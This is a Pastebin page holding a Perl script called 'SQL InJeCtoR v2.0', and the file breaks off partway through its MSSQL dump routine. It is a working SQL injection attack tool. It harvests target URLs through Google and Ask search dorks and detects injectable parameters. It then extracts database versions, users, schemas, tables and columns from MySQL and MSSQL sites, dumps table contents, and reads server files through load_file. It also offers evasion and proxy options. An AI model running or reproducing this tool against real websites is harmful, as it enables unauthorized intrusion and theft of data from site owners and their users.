Advertisement
Guest User

[Perl] SQLinjector V2.0 by AlpHaNiX

a guest
Nov 9th, 2010
1,843
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 34.79 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use LWP::UserAgent;
  5. use HTTP::Request;
  6.  
  7. sub help
  8. {
  9.      system('cls');
  10.      system('title SQL InJeCtoR v2.0');
  11.      print "\n\n-----------------------------------\n";
  12.      print "[!] Usage : perl $0 <option>\n";
  13.      print "\n\n--/// MySQL\n";
  14.      print "     --mysqlcol         MySQL column length calculator            MySQL v4/5\n";
  15.      print "     --mysqldetails     MySQL target website db global infos      MySQL v4/5\n";
  16.      print "     --mysqlschema      MySQL Full Schema Extractor               MySQL v5\n";
  17.      print "     --mysqldump        MySQL Data Dump                           MySQL v4/5\n";
  18.      print "     --mysqlfile        MySQL load_file fuzzer                    MySQL v4/5\n";
  19.      print "     --mysqltblfuzz     MySQL Table_name Fuzzer                   MySQL v4\n";
  20.      print "     --mysqlcolfuzz     MySQL Column_name Fuzzer                  MySQL v4\n";
  21.      print "\n\n--/// MsSQL\n";
  22.      print "     --mssqldetails      MsSQL DB global info\n";
  23.      print "     --mssqltable        MsSQL Tables Extractor\n";
  24.      print "     --mssqlcolumns      MsSQL Columns Extractor\n";
  25.      print "     --mssqldump         MsSQL Columns Extractor\n";
  26.      print "\n\n--/// Vulunerability Scanner\n";
  27.      print "     --dork              URL Extractor , SQL Vulnerability's Scanner & checker\n";
  28.      print "\n\n--/// Options\n";
  29.      print "     --proxy             define a proxy to use\n";
  30.      print "     --listfile          list of columns or tables to use in fuzz or load_file files list\n";
  31.      print "     --output            save injection or scan result in an outside file\n";
  32.      print "     --table             table to use in dumping data or in tbles extract\n";
  33.      print "     --column            column to use in dumping data or in column extract\n";
  34.      print "     --evasion           %20    /*    +\n";
  35.      print "     --help              print this help text :P\n";
  36.      exit();
  37. }
  38.  
  39. sub variables
  40. {
  41.      my $i=0;
  42.      foreach (@ARGV)
  43.      {
  44.          if ($ARGV[$i] eq "--dork"){$search_dork = $ARGV[$i+1]}
  45.          if ($ARGV[$i] eq "--mysqlcol"){$mysql_count_target = $ARGV[$i+1]}
  46.          if ($ARGV[$i] eq "--mysqldetails"){$mysql_details_target = $ARGV[$i+1]}
  47.          if ($ARGV[$i] eq "--mysqlschema"){$mysql_schema_target = $ARGV[$i+1]}
  48.          if ($ARGV[$i] eq "--mysqldump"){$mysql_dump_target = $ARGV[$i+1]}
  49.          if ($ARGV[$i] eq "--mysqltblfuzz"){$mysql_fuzz_table = $ARGV[$i+1]}
  50.          if ($ARGV[$i] eq "--mysqlcolfuzz"){$mysql_fuzz_column = $ARGV[$i+1]}
  51.          if ($ARGV[$i] eq "--mysqlfile"){$mysql_load_file = $ARGV[$i+1]}
  52.          if ($ARGV[$i] eq "--mssqldetails"){$mssql_details_target = $ARGV[$i+1]}
  53.          if ($ARGV[$i] eq "--mssqltable"){$mssql_table_target = $ARGV[$i+1]}
  54.          if ($ARGV[$i] eq "--mssqlcolumn"){$mssql_column_target = $ARGV[$i+1]}
  55.          if ($ARGV[$i] eq "--mssqldump"){$mssql_dump_target = $ARGV[$i+1]}
  56.          if ($ARGV[$i] eq "--column"){$sql_dump_column = $ARGV[$i+1]}
  57.          if ($ARGV[$i] eq "--table"){$sql_dump_table = $ARGV[$i+1]}
  58.          if ($ARGV[$i] eq "--evasion"){$evasion = $ARGV[$i+1]}
  59.          if ($ARGV[$i] eq "--output"){$vulnfile = $ARGV[$i+1]}
  60.          if ($ARGV[$i] eq "--proxy"){$proxy = $ARGV[$i+1]}
  61.          if ($ARGV[$i] eq "--listfile"){$word_list = $ARGV[$i+1]}
  62.          if ($ARGV[$i] eq "--help"){&help}
  63.          $i++;
  64.      }
  65. }
  66.  
  67.  
  68.  
  69. sub main
  70. {
  71.      system('cls');
  72.      system('title SQL InJeCtoR v2.0');
  73.      print " \n\n      SQL InJeCtoR v2.0";
  74.      print " \n            Coded By AlpHaNiX \n\n";
  75.      if (@ARGV<1){print "[!] For Help : perl $0 --help\n\n\n" ;}
  76. }
  77.  
  78. sub vulnscanner
  79. {
  80.      checkgoogle();
  81.      googlescan($search_dork);
  82.      askscan($search_dork);
  83. }
  84.  
  85. sub checkgoogle
  86. {
  87.      my $request   = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$search_dork&btnG=Search&start=10");
  88.      my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
  89.      $useragent->proxy("http", "http://$proxy/") if defined($proxy);
  90.      my $response  = $useragent->request($request) ;
  91.      my $result    = $response->content;
  92.      if ($result   =~ m/if you suspect that your computer or network has been infected/i){print "[!] You Have Been Banned From Google Search :( \n";exit()}
  93. }        
  94.  
  95. sub googlescan
  96. {
  97.      my $dork  = $_[0];
  98.      for ($i=0;$i<200;$i=$i+10)
  99.      {
  100.          my $request   = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=$i");
  101.          my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
  102.          $useragent->proxy("http", "http://$proxy/") if defined($proxy);
  103.          my $response  = $useragent->request($request) ;
  104.          my $result    = $response->content;
  105.          while ($result =~ m/class=r><a href=\"(.*?)\" class=l>/g )
  106.          {
  107.              print "[!] Trying to fuzz $1\n";    
  108.              checkvuln($1)
  109.          }
  110.      }               
  111. }
  112.  
  113. sub askscan
  114. {
  115.      my $dork  = $_[0];
  116.      for ($i=0;$i<20;$i++)
  117.      {
  118.          my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=page.php?id=&qsrc=0&o=0&l=dir&q=$dork&page=$i&jss=");
  119.          my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
  120.          $useragent->proxy("http", "http://$proxy/") if defined($proxy);
  121.          my $response  = $useragent->request($request) ;
  122.          my $result    = $response->content;
  123.          while ($result =~ m/<span id=\"r(.*)_u\" class=\"(.*)\">(.*)<\/span>/gi)
  124.          {
  125.              my $askurl ="http://".$3 ;
  126.              print "[!] Trying to fuzz $askurl\n";
  127.              checkvuln($askurl);
  128.          }
  129.      }
  130. }
  131.  
  132. sub checkvuln
  133. {
  134.      my $scan_url   = $_[0];
  135.      my $link       = $scan_url.'0+order+by+9999999--';
  136.      my $ua         = LWP::UserAgent->new();
  137.      $ua->proxy("http", "http://$proxy/") if defined($proxy);
  138.      my $req        = $ua->get($link);
  139.      my $fuzz       = $req->content;
  140.      if ($fuzz =~ m/You have an error in your SQL syntax/i || $fuzz =~ m/Query failed/i || $fuzz =~ m/SQL query failed/i || $fuzz =~ m/mysql_fetch_/i || $fuzz =~ m/mysql_fetch_array/i || $fuzz =~ m/mysql_num_rows/i || $fuzz =~ m/The used SELECT statements have a different number of columns/i )
  141.      {
  142.          print "[!] MySQL Vulnerable     -> $scan_url\n";
  143.          if (defined($vulnfile))
  144.          {
  145.              push (@mysqlvuln,"$scan_url\n");
  146.          }
  147.      }
  148.      elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
  149.      {
  150.          print "[!] MsSQL Vulnerable     -> $scan_url\n";
  151.          if (defined($vulnfile))
  152.          {
  153.              push (@mssqlvuln,"$scan_url\n");
  154.          }
  155.      }
  156.      elsif ($fuzz =~ m/Microsoft JET Database/i || $fuzz =~ m/ODBC Microsoft Access Driver/i )
  157.      {
  158.          print "[!] MS Access Vulnerable -> $scan_url\n";
  159.          if (defined($vulnfile))
  160.          {
  161.              push (@accessvuln,"$scan_url\n");
  162.          }
  163.      }
  164. }
  165.  
  166. sub mysqlcount
  167. {
  168.      my $site   = $_[0];
  169.      my $ev     = $_[1];
  170.      my $null   = "09'+and+1=" ;
  171.      my $code   = "0+union+select+" ;
  172.      if ($ev eq '/*')
  173.      {$add = "/**/" ; $com = "/*";}
  174.      elsif ($ev eq '%20')
  175.      {$add = "%20" ; $com = "%00" ;}
  176.      else
  177.      {$add = '+' ; $com ='--';}
  178.      my $injection = $site.$null.$code."0",$com ;
  179.      my $useragent = LWP::UserAgent->new();
  180.      $useragent->proxy("http", "http://$proxy/") if defined($proxy);
  181.      my $response  = $useragent->get($injection);
  182.      my $result   = $response->content;
  183.      if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
  184.      {
  185.           print "\n[!] This Website Is Vulnerable\n" ;
  186.           print "[+] Working On It\n";
  187.      }
  188.      else
  189.      {
  190.          print "\n[!] This WebSite Is Not SQL Vulnerable !\n";
  191.          exit();
  192.      }
  193.      for ($i = 0 ; $i < 100 ; $i ++)
  194.      {
  195.          $col.=','.$i;
  196.          $specialword.=','."0x617a38387069783030713938";
  197.          if ($i == 0)
  198.          {
  199.              $specialword = '' ;
  200.              $col = '' ;
  201.          }
  202.          $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
  203.          $ua = LWP::UserAgent->new();
  204.          $ua->proxy("http", "http://$proxy/") if defined($proxy);
  205.          $rq = $ua->get($sql);
  206.          $response = $rq->content;
  207.          if($response =~ /az88pix00q98/)
  208.          {
  209.              $i ++;          
  210.              print "\n[!] MySQL Column Count Finished\n" ;
  211.              print "[!] This WebSite Have $i Columns\n" ;
  212.              $sql=$site.$null.$code."0".$col.$com ;
  213.              print "=> ".$sql ."\n\n"; 
  214.              if (defined($vulnfile))
  215.              {
  216.                  open(vuln_file,">>$vulnfile") ;
  217.                  print vuln_file "Target Host : $site\n";
  218.                  print vuln_file "Evasion     : $ev\n";
  219.                  print vuln_file "Col length  : $i\n";
  220.                  print vuln_file "Injection   : $sql\n";
  221.                  close(vuln_file);
  222.                  print "[+] Result Saved to $vulnfile\n";
  223.              }
  224.              exit () ;       
  225.          } 
  226.      }
  227. }
  228.  
  229. sub mysqldetails
  230. {
  231.      my $site   = $_[0];
  232.      my $ev     = $_[1];
  233.      if ($ev eq '/*')
  234.      {$add = "/**/" ; $com = "/*";}
  235.      elsif ($ev eq '%20')
  236.      {$add = "%20" ; $com = "%00" ;}
  237.      else
  238.      {$add = '+' ; $com ='--';}
  239.      my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938)";
  240.      print "\n[+] Info Getting, Started Please Wait ....\n\n";
  241.      if ($site =~ /(.*)NullArea(.*)/i)
  242.      {
  243.          my $newlink = $1.$selection.$2.$com;
  244.          my $ua = LWP::UserAgent->new();
  245.          $ua->proxy("http", "http://$proxy/") if defined($proxy);
  246.          my $request = $ua->get($newlink);
  247.          my $content = $request->content;
  248.          if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
  249.          {
  250.              print "[!] Database Version  : $1\n";
  251.              print "[!] Database Name     : $2\n";                       
  252.              print "[!] DB UserName       : $3\n";                       
  253.              if (defined($vulnfile))
  254.              {
  255.                  open(vuln_file,">>$vulnfile") ;
  256.                  print vuln_file "[!] Target            : $site\n";
  257.                  print vuln_file "[!] evasion           : $ev\n";
  258.                  print vuln_file "[!] Database Version  : $1\n";
  259.                  print vuln_file "[!] Database Name     : $2\n";
  260.                  print vuln_file "[!] DB UserName       : $3\n";
  261.                  close(vuln_file);
  262.                  print "\n[+] Result Saved to $vulnfile\n";
  263.              }
  264.              exit () ;           
  265.          }
  266.          else
  267.          {
  268.              print "[!] Failed\n";
  269.              exit () ; 
  270.          }
  271.      }
  272.      else
  273.      {
  274.          print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
  275.          exit () ;           
  276.      }
  277. }
  278.  
  279. sub mysqlschema
  280. {
  281.      my $site   = $_[0];
  282.      my $ev     = $_[1];
  283.      my @schema=();
  284.      if ($ev eq '/*')
  285.      {$add = "/**/" ; $com = "/*";}
  286.      elsif ($ev eq '%20')
  287.      {$add = "%20" ; $com = "%00" ;}
  288.      else
  289.      {$add = '+' ; $com ='--';}
  290.      my $selection = "concat(0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
  291.      print "\n[+] Schema Extracting, Started Please Wait ....\n\n";
  292.      if ($site =~ /(.*)NullArea(.*)/i)
  293.      {
  294.          print "[+] Column :|: Table :|: Database\n";
  295.          for ($i=0;  $i<=1000 ; $i++ )
  296.          {
  297.              $newstring = $1.$selection.$2.$add.'from'.$add.'information_schema.columns'.$add.'LIMIT'.$add.$i.','.'1'.$com;
  298.              my $ua = LWP::UserAgent->new();
  299.              $ua->proxy("http", "http://$proxy/") if defined($proxy);
  300.              my $request = $ua->get($newstring);
  301.              my $content = $request->content;
  302.              if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
  303.              {
  304.                  print "[!] $1 :|: $2 :|: $3 \n";
  305.                  push (@schema,"$1 :|: $2 :|: $3 \n");
  306.              }
  307.          }
  308.          if (defined($vulnfile))
  309.          {
  310.              open(vuln_file,">>$vulnfile") ;
  311.              print vuln_file "[!] Target            : $site\n";
  312.              print vuln_file "[!] evasion           : $ev\n";
  313.              print vuln_file "[!] Schema  :: ----     \n\n\n";
  314.              $i=0;
  315.              foreach(@schema)
  316.              {
  317.                  print vuln_file $schema[$i]."\n";
  318.                  $i++;
  319.              }
  320.              print "\n[+] Result Saved to $vulnfile\n";
  321.          }
  322.      }
  323.      else
  324.      {
  325.          print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
  326.          exit () ;           
  327.      }
  328. }
  329.  
  330. sub mysqldump
  331. {
  332.      my $site   = $_[0];
  333.      my $colm   = $_[1];
  334.      my $tble   = $_[2];
  335.      my $ev     = $_[3];
  336.      print "[+] Table name $tble\n";
  337.      print "[+] Column name $colm\n";
  338.      my @dumper=();
  339.      if ($ev eq '/*')
  340.      {$add = "/**/" ; $com = "/*";}
  341.      elsif ($ev eq '%20')
  342.      {$add = "%20" ; $com = "%00" ;}
  343.      else
  344.      {$add = '+' ; $com ='--';}
  345.      my $selection = "concat(0x617a38387069783030713938,$colm,0x617a38387069783030713938)";
  346.      print "\n[+] Data Dump Started Please Wait ....\n\n";
  347.      if ($site =~ /(.*)NullArea(.*)/i)
  348.      {
  349.          $i=0;
  350.          print "[+] Dumped Data : //// \n";
  351.          do
  352.          {
  353.              $newstring = $1.$selection.$2.$add.'from'.$add.$tble.$add.'LIMIT'.$add.$i.','.'1'.$com;             
  354.              my $ua = LWP::UserAgent->new();
  355.              $ua->proxy("http", "http://$proxy/") if defined($proxy);
  356.              my $request = $ua->get($newstring);
  357.              my $content = $request->content;
  358.              if ($content =~ /az88pix00q98(.*)az88pix00q98/)
  359.              {
  360.                  print "[!] $1 \n";
  361.                  push(@dumper,"$1\n");
  362.              }
  363.              $i++;
  364.          }
  365.          while ($i<1500);
  366.          if (defined($vulnfile))
  367.          {
  368.              open(vuln_file,">>$vulnfile") ;
  369.              print vuln_file "[!] Target            : $site\n";
  370.              print vuln_file "[!] evasion           : $ev\n";
  371.              print vuln_file "[!] Dumped Column     : $colm\n";
  372.              print vuln_file "[!] Dumped Table      : $tble\n";
  373.              print vuln_file "[!] Data  :: ----     \n\n\n";
  374.              $i=0;
  375.              foreach(@dumper)
  376.              {
  377.                  print vuln_file $dumper[$i]."\n";
  378.                  $i++;
  379.              }
  380.              close(vuln_file);
  381.              print "\n[+] Result Saved to $vulnfile\n";
  382.          }
  383.      }
  384.      else
  385.      {
  386.          print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
  387.          exit () ;           
  388.      }
  389. }
  390.  
  391. sub mysqlfuzztable
  392. {
  393.      my $site    = $_[0];
  394.      my $ev      = $_[1];
  395.      my $filelst = $_[2];
  396.      print "[+] File List $filelst\n";
  397.      my @tbles_possible=();
  398.      if ($ev eq '/*')
  399.      {$add = "/**/" ; $com = "/*";}
  400.      elsif ($ev eq '%20')
  401.      {$add = "%20" ; $com = "%00" ;}
  402.      else
  403.      {$add = '+' ; $com ='--';}
  404.      open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
  405.      @word_list_search = <word_list_file> ;
  406.      print "\n[+] Fuzzing Table, Started Please Wait ....\n\n";
  407.      if ($site =~ /(.*)NullArea(.*)/i)
  408.      {
  409.          print "[+] Fuzz Result : //// \n\n";
  410.          $i=0;       
  411.          foreach (@word_list_search)
  412.          {
  413.              print "[!] Trying To Fuzz Table_name with $word_list_search[$i]";
  414.              $newstring = $1."0x617a38387069783030713938".$2.$add.'from'.$add.$word_list_search[$i].$com;                
  415.              my $ua = LWP::UserAgent->new();
  416.              $ua->proxy("http", "http://$proxy/") if defined($proxy);
  417.              my $request = $ua->get($newstring);
  418.              my $content = $request->content;
  419.              if ($content =~ /az88pix00q98/)
  420.              {
  421.                  print "\n[!] Found Table ! $word_list_search[$i] \n";
  422.                  push(@tbles_possible,"$word_list_search[$i]\n");
  423.              }
  424.              $i++;
  425.          }
  426.          if (defined($vulnfile))
  427.          {
  428.              open(vuln_file,">>$vulnfile") ;
  429.              print vuln_file "[!] Target            : $site\n";
  430.              print vuln_file "[!] evasion           : $ev\n";
  431.              print vuln_file "[!] Wordlist          : $filelst\n";
  432.              print vuln_file "[!] Tbles Found  :: ----     \n\n\n";
  433.              $i=0;
  434.              foreach(@tbles_possible)
  435.              {
  436.                  print vuln_file $tbles_possible[$i]."\n";
  437.                  $i++;
  438.              }
  439.              close(vuln_file);
  440.              print "\n[+] Result Saved to $vulnfile\n";
  441.          }
  442.      }
  443.      else
  444.      {
  445.          print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
  446.          exit () ;           
  447.      }
  448. }
  449.  
  450. sub mysqlfuzzcolumn
  451. {
  452.      my $site    = $_[0];
  453.      my $ev      = $_[1];
  454.      my $filelst = $_[2];
  455.      my $tablext = $_[3];
  456.      print "[+] File List $filelst\n";
  457.      print "[+] Table To Fuzz Columns $tablext\n";
  458.      my @cols_possible=();
  459.      if ($ev eq '/*')
  460.      {$add = "/**/" ; $com = "/*";}
  461.      elsif ($ev eq '%20')
  462.      {$add = "%20" ; $com = "%00" ;}
  463.      else
  464.      {$add = '+' ; $com ='--';}
  465.      open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
  466.      @word_list_search = <word_list_file> ;
  467.      print "\n[+] Fuzzing Column, Started Please Wait ....\n\n";
  468.      if ($site =~ /(.*)NullArea(.*)/i)
  469.      {
  470.          print "[+] Fuzz Result : //// \n\n";
  471.          $i=0;       
  472.          foreach (@word_list_search)
  473.          {
  474.              print "[!] Trying To Fuzz Column_name with $word_list_search[$i]";
  475.              $newstring = $1."concat(0x617a38387069783030713938,$word_list_search[$i])".$2.$add.'from'.$add.$tablext.$com;               
  476.              my $ua = LWP::UserAgent->new();
  477.              $ua->proxy("http", "http://$proxy/") if defined($proxy);
  478.              my $request = $ua->get($newstring);
  479.              my $content = $request->content;
  480.              if ($content =~ /az88pix00q98/)
  481.              {
  482.                  print "\n[!] File Column ! $word_list_search[$i] \n";
  483.                  push(@cols_possible,"$word_list_search[$i]\n");
  484.              }
  485.              $i++;
  486.          }
  487.          if (defined($vulnfile))
  488.          {
  489.              open(vuln_file,">>$vulnfile") ;
  490.              print vuln_file "[!] Target            : $site\n";
  491.              print vuln_file "[!] evasion           : $ev\n";
  492.              print vuln_file "[!] Wordlist          : $filelst\n";
  493.              print vuln_file "[!] Cols Found  :: ----     \n\n\n";
  494.              $i=0;
  495.              foreach(@cols_possible)
  496.              {
  497.                  print vuln_file $cols_possible[$i]."\n";
  498.                  $i++;
  499.              }
  500.              close(vuln_file);
  501.              print "\n[+] Result Saved to $vulnfile\n";
  502.          }
  503.      }
  504.      else
  505.      {
  506.          print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
  507.          exit () ;           
  508.      }
  509. }
  510.  
  511. sub mysqlfile
  512. {
  513.      my $site    = $_[0];
  514.      my $ev      = $_[1];
  515.      my $filelst = $_[2];
  516.      print "[+] File List $filelst\n";
  517.      my @cols_possible=();
  518.      if ($ev eq '/*')
  519.      {$add = "/**/" ; $com = "/*";}
  520.      elsif ($ev eq '%20')
  521.      {$add = "%20" ; $com = "%00" ;}
  522.      else
  523.      {$add = '+' ; $com ='--';}
  524.      open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
  525.      @word_list_search = <word_list_file> ;
  526.      print "\n[+] File Fuzz, Started Please Wait ....\n\n";
  527.      if ($site =~ /(.*)NullArea(.*)/i)
  528.      {
  529.          print "[+] Fuzz Result : //// \n\n";
  530.          $i=0;       
  531.          foreach (@word_list_search)
  532.          {
  533.              $newstring = $1."concat(0x617a38387069783030713938,load_file('$word_list_search[$i]'))".$2.$com;            
  534.              my $ua = LWP::UserAgent->new();
  535.              $ua->proxy("http", "http://$proxy/") if defined($proxy);
  536.              my $request = $ua->get($newstring);
  537.              my $content = $request->content;
  538.              print "[!] Trying To Fuzz Load_File with $word_list_search[$i]";
  539.              if ($content =~ m/az88pix00q/i)
  540.              {
  541.                  print "\n[!] Found File ! $word_list_search[$i] \n";
  542.                  push(@cols_possible,"$word_list_search[$i]\n");
  543.              }
  544.              $i++;
  545.          }
  546.          if (defined($vulnfile))
  547.          {
  548.              open(vuln_file,">>$vulnfile") ;
  549.              print vuln_file "[!] Target            : $site\n";
  550.              print vuln_file "[!] evasion           : $ev\n";
  551.              print vuln_file "[!] Wordlist          : $filelst\n";
  552.              print vuln_file "[!] Files Found  :: ----     \n\n\n";
  553.              $i=0;
  554.              foreach(@cols_possible)
  555.              {
  556.                  print vuln_file $cols_possible[$i]."\n";
  557.                  $i++;
  558.              }
  559.              close(vuln_file);
  560.              print "\n[+] Result Saved to $vulnfile\n";
  561.          }
  562.      }
  563.      else
  564.      {
  565.          print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
  566.          exit () ;           
  567.      }
  568. }
  569.  
  570. sub mssqldetails
  571. {
  572.      my $site   = $_[0];
  573.      my $ev     = $_[1];
  574.      if ($ev eq '/*')
  575.      {$add = "/**/" ; $com = "/*";}
  576.      elsif ($ev eq '%20')
  577.      {$add = "%20" ; $com = "%00" ;}
  578.      else
  579.      {$add = '+' ; $com ='--';}
  580.      print "\n[+] Getting Infos, Started Please Wait ....\n\n";
  581.      $version = "convert(int,(select".$add."\@\@version));--" ;
  582.      $system_user = 'convert(int,(select'.$add.'system_user));--';
  583.      $db_name = 'convert(int,(select'.$add.'db_name()));--';
  584.      $servername = 'convert(int,(select'.$add.'@@servername));--' ;
  585.      my $injection = $site.$version ;
  586.      my $request   = HTTP::Request->new(GET=>$injection);
  587.      my $useragent = LWP::UserAgent->new();
  588.      $useragent->timeout(10);
  589.      my $response  = $useragent->request($request)->as_string ;
  590.      if ($response =~ /.*?value\s'/)
  591.      {
  592.          print "[+] This Website Is SQL Vulnerable ..\n";
  593.          print "[+] Working On It ..\n";
  594.          $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ;
  595.          print "\n[!] MsSQL Version Is :";
  596.          print "\n\n => $ver"   ;
  597.          my $injection = $site.$system_user ;
  598.          my $request   = HTTP::Request->new(GET=>$injection);
  599.          my $useragent = LWP::UserAgent->new();
  600.          $useragent->timeout(10);
  601.          my $response  = $useragent->request($request)->as_string ;
  602.          $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  603.          print "\n[!] MsSQL System_User Is    :";
  604.          print "  $system_user  "   ;
  605.          my $injection = $site.$db_name ;
  606.          my $request   = HTTP::Request->new(GET=>$injection);
  607.          my $useragent = LWP::UserAgent->new();
  608.          $useragent->timeout(10);
  609.          my $response  = $useragent->request($request)->as_string ;
  610.          $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  611.          print "\n[!] MsSQL Database Name Is  :";
  612.          print "  $db_name  "   ;        
  613.          my $injection = $site.$servername ;
  614.          my $request   = HTTP::Request->new(GET=>$injection);
  615.          my $useragent = LWP::UserAgent->new();
  616.          $useragent->timeout(10);
  617.          my $response  = $useragent->request($request)->as_string ;
  618.          $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  619.          print "\n[!] MsSQL Server Name Is    :";
  620.          print "  $servername  "    ;  
  621.          exit ();                      
  622.      }
  623.      else
  624.      {
  625.          system ("cls");
  626.          print "\n[!] This Website Is Not SQL Vulnerable !";
  627.          exit();
  628.     }
  629. }
  630.  
  631. sub mssqltable
  632. {
  633.      my $site   = $_[0];
  634.      my $ev     = $_[1];
  635.      if ($ev eq '/*')
  636.      {$add = "/**/" ; $com = "/*";}
  637.      elsif ($ev eq '%20')
  638.      {$add = "%20" ; $com = "%00" ;}
  639.      else
  640.      {$add = '+' ; $com ='--';}
  641.      print "\n[+] Table Extracting, Started Please Wait ....\n\n";
  642.      $table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables));--";
  643.      $data = "'Ws65qd798sqd9878'";
  644.      print "[!] Tables : //// \n\n";
  645.      for ($i;$i<1500;$i++)
  646.      {
  647.          my $injection = $site.$table ;
  648.          my $useragent = LWP::UserAgent->new();
  649.          $ua->proxy("http", "http://$proxy/") if defined($proxy);
  650.          my $request   = $useragent->get($injection);
  651.          my $response  = $request->content;
  652.          if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
  653.          {
  654.              print "[+] ".$1."\n";
  655.              push (@exttbles,$1);
  656.              $start = "(";
  657.              $data .= ",'$1'";
  658.              $end   = ")";
  659.              $total = $start.$data.$end;
  660.              $table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables".$add."where".$add."table_name".$add."not".$add."in".$add."$total));--"; 
  661.          }
  662.      }
  663.      if (defined($vulnfile))
  664.      {
  665.          open(vuln_file,">>$vulnfile") ;
  666.          print vuln_file "[!] Target            : $site\n";
  667.          print vuln_file "[!] evasion           : $ev\n";
  668.          print vuln_file "[!] Data  :: ----     \n\n\n";
  669.          $i=0;
  670.          foreach(@exttbles)
  671.          {
  672.              print vuln_file $exttbles[$i]."\n";
  673.              $i++;
  674.          }
  675.          close(vuln_file);
  676.          print "\n[+] Result Saved to $vulnfile\n";
  677.      }
  678. }
  679.  
  680. sub mssqlcolumn
  681. {
  682.      my $site   = $_[0];
  683.      my $ev     = $_[1];
  684.      my $tblextrct = $_[2];
  685.      print "[+] Table To Extract From $tblextrct\n";
  686.      if ($ev eq '/*')
  687.      {$add = "/**/" ; $com = "/*";}
  688.      elsif ($ev eq '%20')
  689.      {$add = "%20" ; $com = "%00" ;}
  690.      else
  691.      {$add = '+' ; $com ='--';}
  692.      print "\n[+] Table Extracting, Started Please Wait ....\n\n";
  693.      $data = "'Ws65qd798sqd9878'";
  694.      $table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."($data)"."));--";
  695.      print "[!] Columns : //// \n\n";
  696.      for ($i;$i<1500;$i++)
  697.      {
  698.          my $injection = $site.$table ;
  699.          my $useragent = LWP::UserAgent->new();
  700.          $ua->proxy("http", "http://$proxy/") if defined($proxy);
  701.          my $request   = $useragent->get($injection);
  702.          my $response  = $request->content;
  703.          if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
  704.          {
  705.              print "[+] ".$1."\n";
  706.              push (@extcols,$1);
  707.              $start = "(";
  708.              $data .= ",'$1'";
  709.              $end   = ")";
  710.              $total = $start.$data.$end;
  711.              $table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."$total"."));--";   
  712.          }
  713.      }
  714.      if (defined($vulnfile))
  715.      {
  716.          open(vuln_file,">>$vulnfile") ;
  717.          print vuln_file "[!] Target            : $site\n";
  718.          print vuln_file "[!] evasion           : $ev\n";
  719.          print vuln_file "[!] Data  :: ----     \n\n\n";
  720.          $i=0;
  721.          foreach(@extcols)
  722.          {
  723.              print vuln_file $extcols[$i]."\n";
  724.              $i++;
  725.          }
  726.          close(vuln_file);
  727.          print "\n[+] Result Saved to $vulnfile\n";
  728.      }
  729. }
  730.  
  731. sub mssqldump
  732. {
  733.      my $site   = $_[0];
  734.      my $ev     = $_[1];
  735.      my $tblextrct = $_[2];
  736.      my $colmextrct = $_[3];
  737.      print "[+] Table  : $tblextrct\n";
  738.      print "[+] Column : $colmextrct\n";
  739.      if ($ev eq '/*')
  740.      {$add = "/**/" ; $com = "/*";}
  741.      elsif ($ev eq '%20')
  742.      {$add = "%20" ; $com = "%00" ;}
  743.      else
  744.      {$add = '+' ; $com ='--';}
  745.      print "\n[+] Table Extracting, Started Please Wait ....\n\n";
  746.      $data = "'Ws65qd798sqd9878'";
  747.      $table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."($data)"."));--";
  748.      print "[!] Columns : //// \n\n";
  749.      for ($i;$i<1500;$i++)
  750.      {
  751.          my $injection = $site.$table ;
  752.          my $useragent = LWP::UserAgent->new();
  753.          $ua->proxy("http", "http://$proxy/") if defined($proxy);
  754.          my $request   = $useragent->get($injection);
  755.          my $response  = $request->content;
  756.          if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
  757.          {
  758.              print "[+] ".$1."\n";
